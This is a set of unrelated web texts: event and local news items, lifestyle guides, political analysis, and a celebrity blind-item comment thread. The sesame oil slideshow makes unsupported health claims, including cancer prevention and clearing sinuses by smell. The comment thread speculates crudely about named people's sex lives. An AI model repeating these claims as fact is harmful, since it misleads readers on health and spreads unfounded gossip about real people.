In addition to all this, the convention also features a Dealers' Area, with merchandise ranging from handmade crafts to collectibles; an Art Show where attendees are invited to display their original works for potential purchase; and displays of toys, props and collectibles (dependent on space available).
For those with such interests, there will also be a gaming area available with access to video games, role-playing games and tactical board games, including the newest release of the perennial SF board game, OGRE. The game is preparing for re-release close to 30 years after its original release, and one of its Kick Start contributors will be giving us a look ahead at the system.
For those with an interest, there will be a small dance on Friday evening, and an anime room all day Saturday, with introductions to many classic and new series from Japan. Come whet your appetite, and see what you're actually buying before you drop your paycheck at the video store.
Finally, to wind things down on Saturday evening enjoy our Costume Presentation. Many of our attendees are also brilliant costumers and makeup artists in their own right. Join us for a parade of these costumes in presentations that range from the inspirational to the downright silly. While our judges are sorting out all this, sit back, relax and enjoy the music and comedy of White Plectrum. Keith's songs poke fun at popular movies, television, comics and books, and sometimes an occasional well-deserved jab at the fans themselves.
The evening ends with an auction. Items can range from junk to incredibly rare collectibles, because it's supported entirely by donations. So far, we can promise some neat games, cool toys and
really interesting DVDs.
Membership at Rising Star is free to members of the Bluefield State College community, including students, faculty and staff. General memberships are $5 for Friday evening and all day Saturday. Children under the age of six are free.
Proceeds beyond operating costs are being collected toward the funding of a scholarship at Bluefield State College in memory of Jonathan David "Jonny" Miller. Jonny was a graduate of Bluefield State College in the Computer Science program, and a supporter of USS Yeager from the days when it was still the Bluefield State College Science Fiction Club.
It's a day and a half of entertainment for only five dollars and as Bill Cosby used to say, "If you're not careful, you might even learn something before we're done." So dig out your old cartoon t-shirt and we'll see you there!
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North Idaho program needs short-term foster families
The fact that Foster parents can see children come and go can be daunting for some people. But, one North Idaho program needs families who can make 3 week commitments to teenagers in need.
Fran and Vic Bess are part of the Crosswalk North Idaho program formerly known as Project Safe Place. They live in a picturesque home in Rathdrum complete with acreage, amazing views, fountains and an outdoor basketball court. And The Besses' home isn't a home without a few foster children.
"We've had about 2,000 (kids) total," said Fran Bess.
Brandi Smitherman is the program director for the Volunteers of America Agency. The agency offers a daytime drop-in center, with lots of resources available. However it in desperate need for families like the Besses' to be a host home.
"It's a safe alternative for couch-surfing. Often times it's used to prevent the situation within the home from becoming volatile while they're with us. We work for the three weeks getting other support systems in place and/or identifying an alternative placement at the end of 21 days," said Smitherman, "We, right now, are the only shelter that will take youth, especially boys over the age of 13 that are not accompanied by an adult."
A lot can happen in that time, however, the biggest thing for young people is to step away from their situation and regroup.
"Just the fact that they can come out here. They can go over there and play on their own. They can wander through the trees a little bit and it's not like the city. they don't feel like it's a jail," said Vic Bess
For the most part, this kids are just people who need a little help.
"Our kids aren't bad, they aren't scary. You know, in the five years I've been here, we've never had a fight at the drop-in center. We've never had a fight at the drop in center. We've never had a host home family that's (had items) stolen or assaulted. The cops don't come here. They're great kids. They just need an opportunity to learn the same thing that children that are raised within a family learn," said Smitherman.
For the past 25 years, that what the Besses' have focused on, family.
"They call us grandma and grandpa," said Fran Bess.
And these grandparents are still in contact with those who have come through their doors.
"I hope that whatever we had here to give, they can take and move forward with that," said Fran Bess
There are now only two host homes in North Idaho.
If you would like information on the program or to donate or volunteer at Crosswalk North Idaho, call 208-416-4747.
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text: Home > health > healthy living Health Benefits Of Sesame Oil Renita Tisha PintoSeptember 14, 2012 facebook twitter reddit SKIP AD Image 3 of 16 Related Galleries Next Gallery Starts in 12 Secs X SKIP WAITING AUTOPLAY ON OFF Prev Next Foods to Improve Prostate Health Best Foods for Anaemic Women 8 Sick Day Etiquettes Health Hazards of Driving Health Benefits of Having a Pet Beauty Benefits of Steaming 203004 Prev Next Sesame is believed to possess many magical powers. Right from our childhood, the benefits of sesame oil is stored in our memory when the famous folk tale "Ali Baba and the Forty Thieves" documented its benefits. Sesame seeds are used in culinary as well as in traditional medicines for their nutritive, preventive and curative properties. Its oil seeds are rich in omega-6 fatty acids, flavonoid phenolic anti-oxidants, vitamins and dietary fiber which possess many health promoting benefits. *Images courtesy: © Thinkstock photos/ Antioxidants Sesame oil is rich in antioxidants. They work to neutralize damage done to the body, mostly within the bloodstream; damage caused by viruses, aging and bacteria. Prevention of hangover Sesamin present in sesame seed helps in the liver function by breaking down alcohol consequence and detoxifying damaging materials. Diabetes A study published in 2011 in the Clinical Journal of Nutrition showed that sesame oil enhanced the efficiency of the oral drug in type 2 diabetic patients. Skin care The Vitamin E and Vitamin B found in sesame oil helps to lessen damage done to the skin, and also brings a youthful, shining glow to the face. Rheumatoid arthritis Copper plays an important role in the movement of cross-linking of collagen that provide strength and elasticity in blood vessels, bones and joints. Hence, it helps in reducing some of the hurt and swelling of rheumatoid arthritis. Oral health Sesame seed has been beneficial to prevent teeth decay; bleeding gums, dry throat, and for strengthening the teeth, gums and jaw. Common cold Simply smelling a little sesame oil will help to clear up the sinuses and congestion in the chest. Dandruff Rubbing sesame seed oil into your hair helps to prevent dandruff. Lowering sodium A study by the Yale journal of Biology showed that ingesting sesame oil not only helps in lowering blood pressure, but also lowers levels of sodium in the body. Calcium Calcium present in Sesame oil helps to prevent bone loss, headaches and lessens PMS symptoms during the second phase of the menstrual cycle. Stress prevention It has a unique ability to cut down tension and stress when used regularly. It also helps nurture the nervous system, and ease fatigue and insomnia. Cancer prevention Sesame seeds contain "phytate", which is a powerful antioxidants and a strong natural anti-cancer substance, which also helps to slow down the growth of various cancer cells. Relieve constipation Sesame seeds include fiber that gives roughage to the stool, making it simpler to get rid of. Infant massage A study published in the Indian Journal of Medical Research in 2000 showed that massaging infants with sesame oil improved their growth and post-massage sleep. Respiratory health Magnesium present in sesame prevents the tremor in asthma, lowers high blood pressure and blood vessel tremors. Sources : greenmedinfo, livestrong, nutrition-and-you, savithasuri.hubpages < 1 2 3 4 5 > Follow @indiatimes facebook twitter reddit Comment Here Prevention of hangover Sesamin present in sesame seed helps in the liver function by breaking down alcohol consequence and detoxifying damaging materials. ADVERTISEMENT


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If you've ever found yourself gritting your teeth and frantically counting down the seconds left in a "WOD," then you're surely familiar with the Crossfit workout experience, but for the uninitiated group of readers just itching to bust out as many kipping pull-ups as humanly possible, here's a breakdown of what to expect at a "box" near you.
Crossfit is an intense style of workout similar to boot camp, that blends cardio, weight lifting and body weight exercises like pull-ups, core work, planks and lunges to help strengthen and condition your body to the max. Sounds hard, but make no mistake, it can be addictive. Workouts change daily and the program is built around competitive progression -- learning more moves and beating your previous results each day.
To take part, just show up to a Crossfit gym, or "box" as they call it, and join others for the workout of the day (WOD), a planned set of timed exercises you'll do as you try to beat the clock for more reps. One day it might be thousand meter rows, 50 wall-ball throws (throwing a weighted ball up against a wall and catching it), 50 "burpees" (everyone's favorite exercise, I'm sure) and AMRAP (as many repetitions as possible) air squats -- all done within 5 minutes, for 3 sets. By the time you're finished you can bet you'll be dripping with sweat and strangely filled with a desire to go again tomorrow.
It's an atmosphere equally fulfilling for newbies and pros alike given the major allowance of modification. Using various increments of weights, bands to assist in kipping pull-ups and different size boxes for box jumps allow people to adjust to their personal abilities, regardless of what everyone else around them is doing. Progression with your workouts means building strength and endurance to change your props, bump up weights in dead lifts, and toss that band you once relied on for pull-ups -- all the reason you need to keep going back as you see yourself get better.
The typical Crossfit gym isn't flashy -- think more warehouse, less designer gym. You may see bare white walls with pull-up bars, a white board with illegible scribbles, rowing machines, a few wooden boxes, some bars and stackable weights. It ain't pretty, but trust me, the only thing you'll notice is the loud music playing while you eek out your reps of 25 pound kettle bell swings.
In recent years Crossfit has exploded in popularity around the world with brands like Reebok designing entire product lines and programs around it, the organization of national and world competitions, and its own language of acronyms (as seen peppered in throughout this post). The culture surrounding the Crossfit community is one of encouragement and healthy competition and in this blogger's opinion, rounds out what is an already incredible fitness experience.
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Walk the streets of any major city in Sweden; Stockholm, Gothenburg or Malmö, and then tell us that Swedes aren't trendy in their functional but thoroughly modern rags – discreet colours, understated, functional – and cool. A bit like Swedish design textiles, furniture, household objects and glassware – you'll find the same practical, democratic, aesthetic, natural and increasingly sustainable approach to design. In Sweden, design is synonymous with 'lifestyle'.
Different Swedish design at Designtorget store
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Heard of H&M and IKEA? Swedish. Acne, J. Lindberg, WESC, Filippa K, House of Dagmar. Swedish. Or Spotify (music for the masses), Svenskt Tenn, Bruno Mathsson, Carl Malmsten, Kosta Boda and Orrefors glassware. All Swedish, or Swedes. But enough with the name-dropping, what and where to shop for design goodies? Here's a quick guide.
Look out for; Acne, Filippa K, J Lindberg, Nudie Jeans, Cheap Monday, WE, WESC and Weekday on the high streets of Stockholm (City, Östermalm and Södermalm districts), Gothenburg (Nordstan, Innerstaden, Avenyn and Haga districts) and Malmö (Stortorget and Lilla Torget, through Södergatan and south along Södra Förstadsgatan.
For Gothenburg and Malmö follow the directions above and browse the many shops and stores selling fine Swedish design.
For unique handcrafted household goods from all over Sweden go to the Svensk Slöjd store at Nybrogatan 23 in Stockholm. Other good stores on this street include Designtorget, featuring new Swedish designers and their designs and Nordiska Galleriet at Nybrogatan 11 selling furniture and lighting from Nordic and international designers. Want elegant and boldly patterned interior design? Then go to legendary Swedish interior design shop Svenskt Tenn at Strandvägen 5 in Stockholm.
For complete immersion in famous Swedish artglass and glassware look no further than the Kingdom of Crystal in the province of Småland. Visit the glassworks and glass studios, blow your own glass and stay in the Kosta Boda Art Hotel featuring a glass bar and oodles of glass artwork.
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Everybody who has addressed the issue had agreed that the town needs better cell phone service and, by extension, more cell towers, but there have disagreements about how far the town can or should go in regulating them.
Much of the regulatory authority over cell towers was taken away from towns and states by the federal government with the passage of the Telecommunications Act of 1996. Therefore, the town is limited in what conditions it could impose.
At a town meeting on March 9, Dr. Gary Friedland, a resident with a home in the Iroquois Hunting and Fishing Club near the site of proposed cell tower, suggested that several changes be made to the proposed town law that would regulate the towers.
Bethel supervisor Dan Sturm addressed those suggestions at the meeting on March 24. Regarding limiting the height to 20 feet above the tree tops, as opposed to a 200-foot limit, Sturm, reading from prepared text, said, "Coverage is provided by a tower of sufficient height to reach the boundaries of the cell or in the alternative, a number of shorter towers that can provide the necessary coverage."
He said that if cell companies are required to erect multiple towers and are then required to obtain land rights from many landowners, the cost may become too expensive and may represent an "illegal impediment under the Telecommunications Act of 1996."
Another suggestion, that the setback for a tower should be lengthened from the proposed 200 feet to 1,500 feet, was similarly viewed as a possible violation of the act.
As for the suggestion that the town should require periodic testing of the tower transmissions, Sturm said the board believes the regulation of the radio frequencies by the town is preempted by the act.
Ultimately, the board voted unanimously to adopt the law and, according to the testimony of multiple landowners, a cell tower is planned to go up on land owned by the Boy Scouts of America off Crystal Lake Road.
Phish follow up
There was further discussion about the three Phish concerts scheduled for Bethel Woods Center for the Arts over Memorial Day weekend.
Resident Henry Rumsey said that because the concerts are being held over a holiday weekend, he feared that the event "could match 1969," a reference to the Woodstock festival. He said his family planned to buy "enough groceries, enough water, and enough pet food to stay on our property for that weekend."
Sturm said that he and lawmaker Robert Blais had met with officials from Bethel Woods, and he "couldn't ask for a better partner" who is willing to work to make sure things go well.
Lawmaker Vicky Simpson said that the people at Bethel Woods want the weekend to be successful as it kicks off their summer season. She said, "We've worked well with them before, and we're in talks with them now."
Smallwood Golf Course
Also at the meeting, Sturm announced that Upstate Land Development, the company that had owned the old Smallwood Golf Course, had dropped any right to appeal the court case that upheld the town's right to change the zoning on the property. It marked the end of a lengthy campaign waged by the group Preserve Smallwood Country Life (PSCL) to prevent the erection of 200 townhouses on the environmentally sensitive land.
Jonathan Hyman, director of PSCL, issued a statement saying, "While acknowledging that growth is necessary and inevitable, PSCL worked with the town board and other citizens groups to advance long overdue, updated zoning for Bethel that is sustainable, equitable and respectful of Smallwood and the town's character and abundant natural resources. We are pleased with this result and with the news that the challenge to the zoning is over."


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Taylor Swift on Music's Future: Surprises Are In, Autographs Are Out
ABC/Richard Harbaugh Many pundits have written about how the music industry is in dire straits, as album sales continue to shrink and artists who regularly hit #1 can barely manage a top 10 debut these days. But one person who's optimistic about the music industry — and the future of the album as an art form — is Taylor Swift. In fact, she's even written an op-ed on the topic for the Wall Street Journal.
"I'd like to point out that people [are] still buying albums, but now they're buying just a few of them. They are buying only the ones that hit them like an arrow through the heart or have made them feel strong or allowed them to feel like they really aren't alone in feeling so alone," writes Taylor, and she should know, since her own multimillion-selling albums fit this description.
"There are always going to be those artists who break through on an emotional level and end up in people's lives forever," she adds. "We will cherish every album they put out until they retire and we will play their music for our children and grandchildren. As an artist, this is the dream bond we hope to establish with our fans."
So how can artists establish this bond? Taylor says keeping the audience guessing is a key.
"I think forming a bond with fans in the future will come in the form of constantly providing them with the element of surprise. No, I did not say 'shock'; I said 'surprise,'" she writes.
As an example, she adds, "In the YouTube generation we live in, I walked out onstage every night of my stadium tour last year knowing almost every fan had already seen the show online. To continue to show them something they had never seen before, I brought out dozens of special guest performers to sing their hits with me."
"I hope the next generation's artists will continue to think of inventive ways of keeping their audiences on their toes, as challenging as that might be," writes Taylor.
Taylor also says that in her opinion, the distinction between musical genres is becoming obsolete, and so are autographs. "I haven't been asked for an autograph since the invention of the iPhone with a front-facing camera," she points out. "The only memento 'kids these days' want is a selfie."
She concludes by writing, "This moment in music is so exciting because the creative avenues an artist can explore are limitless…The only real risk is being too afraid to take a risk at all."
So where does Taylor see herself in this brave new musical future? "I'll just be sitting back and growing old, watching all of this happen or not happen, all the while trying to maintain a life rooted in this same optimism," she writes. "And I'd also like a nice garden."
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Rapid response Coahuila state police stand at a checkpoint iin Piedras Negras, Mexico, after a prison break on Sept. 18. Security is among the challenges facing the country.
News analysis
Where is home to the largest number of Americans living abroad, as well as the world's richest man?
Which country is the United States' third-largest foreign supplier of oil?
Which nation did President George W. Bush call the U.S.' most important bilateral partner?
Which close American ally has lost some 60,000 lives in a U.S.-backed effort to combat violent crime?
The answer to all of the above is Mexico.
But despite the many ties that bind the two countries, the United States' southern neighbor barely warranted a mention during the presidential campaign, and didn't come up once during the third "foreign policy" debate between Gov. Mitt Romney and President Barack Obama.
President Barack Obama and Republican candidate Mitt Romney discuss foreign policy in the third and final presidential debate.
This omission is not lost on many in Mexico.
"At times the United States sees Mexico as an unconditional ally and they see us with the stigma of an undeveloped nation," said Eduardo Rosales, director of the United States-Mexico relations master's program at the National Autonomous University of Mexico (UNAM). "But the United States needs to put their eyes south. It is the most important bilateral relationship in the world."
Some Mexico-related news is grimly familiar to most Americans -- tens of thousands have died in violence since outgoing President Felipe Calderon declared war on the country's drug cartels at the end of 2006.
Mexico's drug war: No sign of 'light at the end of the tunnel'
Mexican cartels funnel between $19 and $39 billion worth of illegal drugs to the United States every year, according to the State Department. The United States, in turn, is a major source of weapons for the cartels.
Mexico's death toll remains stubbornly high and swathes of the country virtually ungovernable despite the Merida Initiative, a $1.9-billion U.S.-funded program aimed at fighting trafficking, organized crime and money laundering.
A vivid example of the shared security challenges came in August when Mexican police officers thought to be working in cahoots with the cartels ambushed and wounded two U.S. agents.
Violence, including the discovery of 49 mutilated bodies near the U.S. border, is reaching new levels in the ongoing drug war in Mexico. NBC's Mark Potter reports.
Oscar Alvarez, a college student in the northern state of Coahuila, alleged that much of the blame for the violence and crime lies with the United States, the world's largest consumer of illegal drugs.
"The demand on drugs is not being controlled ... and Mexico will always be affected," said Alvarez, 22, who has a small printing business to help cover the costs of school. "Whoever wins (the U.S. election) needs to act. I've heard a lot of talk but I haven't seen anything get done."
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That the drugs trade and the hyper-violent crime that surrounds it is a shared problem has not been widely accepted in the United States, according to UNAM's Rosales.
"The problem is the consumption and the things that surround it such as violence and money laundering," he said. "It's a reality that is neglected by the United Sates. But our bloodshed continues to grow."
Cross-border methamphetamine trade booms amid Mexico's 'war on drugs'
It isn't clear how incoming President Enrique Pena Nieto of Institutional Revolutionary Party, which governed Mexico for about 70 years, will deal with the cartels, but indications are that many in country are losing patience with the drug war.
"I'm against the war," former Mexican foreign minister Jorge Castañeda told NBC News in May. "At six years on, it is beginning to look more difficult to see any kind of light at the end of the tunnel."
Jorge Castaneda, former Mexican foreign minister and NBC News Latin America policy expert, talks about the latest developments in Mexico's drug war where this week 49 mutilated bodies were found near the U.S. border.
Crime and cartels do not define Mexico.
It is one of the United States' most important trading partners. Its economy, the world's 14th largest, grew at 5.5 percent in 2010 and 3.8 percent in 2011, according to the Office of the United States Trade Representative, despite the global economic downturn. Trade between the United States, Mexico and Canada -- members of the North American Free Trade Agreement -- is worth more than trade within the eurozone.
Also in this series: Iran, Israel name checks illustrate America's twin obsessions
A symbol of Mexico's growing international economic prominence is Carlos Slim Helu– a telecoms tycoon with wide-ranging investments including a sizable stake in The New York Times – who topped Forbes' list of the world's richest people in 2012.
But despite billionaire tycoons and high growth rates, the anemic economy north of the border is hurting Mexico.
Mexico leader's message to US: 'No more weapons!'
Isidoro Peyron, owner of a family-run tile-making business in Pachuca, central Mexico, says the United States' slowdown has hit him directly. Whoever wins Tuesday's election must kickstart the economy for the sakes of both the U.S. and Mexico, he says.
"The next president of the United States needs to reactivate the American economy," said Peyron, 63, who has stopped exporting to the United States. "They are (Mexico's) main commercial partner."
Nevertheless, U.S. trade with Mexico totaled about $500 billion in 2011.
Also in this series: Suspicion of US rife as Obama, Romney jab China
The 2,000-mile border between the two countries makes this trade easier, but the easy access also fuels another issue that both unifies and divides the U.S. and Mexico: immigration.
At an estimated 12 million, Mexicans are by far the largest immigrant group in the United States. And around 7 million, or 59 percent of undocumented immigrants, are thought to have come from Mexico.
The Justice Department inspector general found no evidence that Atty. Gen. Eric Holder even knew about the operation that brought more than 2000 guns into Mexico. Fourteen federal law enforcement officials, however, are connected to the botched gun trafficking operation. NBC's Pete Williams reports.
While Obama decreed earlier this year that hundreds of thousands of undocumented migrants who went to the United States illegally as young children would be entitled to remain, the promise he made in 2008 to reform immigration has not been fulfilled.
Meanwhile, there have been more deportations under the Obama administration than during any other presidency in modern times.
Also in this series: Should next US president treat Russia as friend or foe?
But even though Obama has disappointed many for not delivering on immigration reform, the UNAM's Rosales did not hold out hope that Romney will resolve the problems.
"If Romney got to power, there would be zero chances of an immigration reform," Rosales said. "If Obama is elected a second term, it's still hard, but the chances increase."
In his public life, Mitt Romney has said and written little about his ancestors' history in Mexico. It's a little-known fact that there's a whole branch of Mitt Romney's family living south of the border, including his second cousin Leighton Romney, and about 40 other relatives descended from religious pioneers who first traveled to Mexico 125 years ago. NBC's Mike Taibbi reports.
Romney favors a U.S.-Mexico border fence and opposes education benefits to illegal immigrants, as well as offering legal status to illegal immigrants who attend college, although he would support doing so for those who serve in the armed forces.
More Mexico coverage from NBC News
Mike Reyes, who currently resides in Mexico City, lived in Arizona for eight years as an illegal immigrant. He feels the U.S. fails to appreciate what immigrants like himself contributed to the country.
"We hope the situation with Hispanics can be resolved in this election," said Reyes, 45, who works as a driver for the public transportation system despite having a degree in business.
Net Mexican immigration to the United States has stopped growing and may even have declined in recent years, according to a recent study. But with about half of Mexico's population classified as poor, economic realities are likely to continue propelling many Mexicans north for years to come.
So immigration policies pursued by the winner of the 2012 presidential race will have an impact not only on the United States but Mexico.
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- China opposition party lasts a day, founder gets 8 years in prison
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- Oasis of tolerance or 'Republic of Shame'? Two faces of gay life in Beirut
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- DOLPHINS & WHALES The continued exploitation of the beauty, brilliance, and benevolence of cetaceans must stop. Please join our expanding and pioneering advocacy as we come to the aid of our aquatic neighbors.
- ELEPHANT PROTECTION Elephants are highly complex, social animals. In the wild, they live in extended family groups. IDA has become a leading voice for the plight of captive elephants.
- FARMED ANIMALS The foods we eat and the groceries we buy have a big impact on our comfort and convenience, but also on our health, farmed animals and the environment. Plant-based diets are rapidly growing in popularity.
- DITCH DOG MEAT Millions of dogs and cats' lives are extinguished in the most horrific fashion, day after day, year after year, for food and so-called "health" tonics, despite the calamitous public health risk.
- Sustainable Activism An activist life can be an immensely rewarding one filled with purpose and community. Through their hard work and commitment, there is no doubt that animal activists are improving the lives of animals.
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#5 – Denise Richards and this always and forever A list comic actor who is about 30 years older than her who got his start on a huge network show and now does movies. I can't imagine that it was very good for either of them.
Bill Murray
Pretty sure with her experience she can make even a mini horse ride outside of Wal-Mart good.ReplyCancel
WHAT??? My Bill would never!!! You take that back right NOW!
Okay, she was hot in the Wild Things days, but Bill, she's kinda, um, dumb!ReplyCancel
No Bill!ReplyCancel
Got no problem with that coupling…Bill strikes me as a guy who would pay for discretion and its not like she's ugly…
Can anyone else picture a Catholic guiltfest with single malt after?
What the….ReplyCancel
Launched so hard I spit my coffee.ReplyCancel
How much did she charge him?ReplyCancel
She made babies with Charlie Sheen. Run, Bill, Run!ReplyCancel
But how much did he pay? That's the real news.ReplyCancel
Bwahaha! That's what I was thinking! Enty never specified it was gratisReplyCancel
Great analogy for what surely must have been running from poor Murray's bellend after that smash and grab. Oomph I just realized this means Murray may have been cross-contaminated by BREE OLSEN. Ugh. Feel. Sick. Now…ReplyCancel
Oh man, thats alotta yuckReplyCancel
Jeff Conoway and Bjork – HA!ReplyCancel
@Alita – add Kimberly Stewart and Benicio del Toro … which really happenedReplyCancel
Strange pairing, alright.
I imagine she has a lot of baggage – enough to scare some regular guy off … although I can't see her settling for anyone who isn't famous.
She came across really well on that reality show she did with E (which was cancelled because she was so 'nice' and 'boring').ReplyCancel
Another tough one- Steve martin was the popular guess on original blind.ReplyCancel
Kara, lets work this oot; I get him Monday to Sunday and you can have him the other days?ReplyCancel
Oh no no, Frufra, I called him during Stripes! I've always admired a man who knows his way around the kitchen, and spatulasReplyCancel
Was this recently or back in her "working" days?ReplyCancel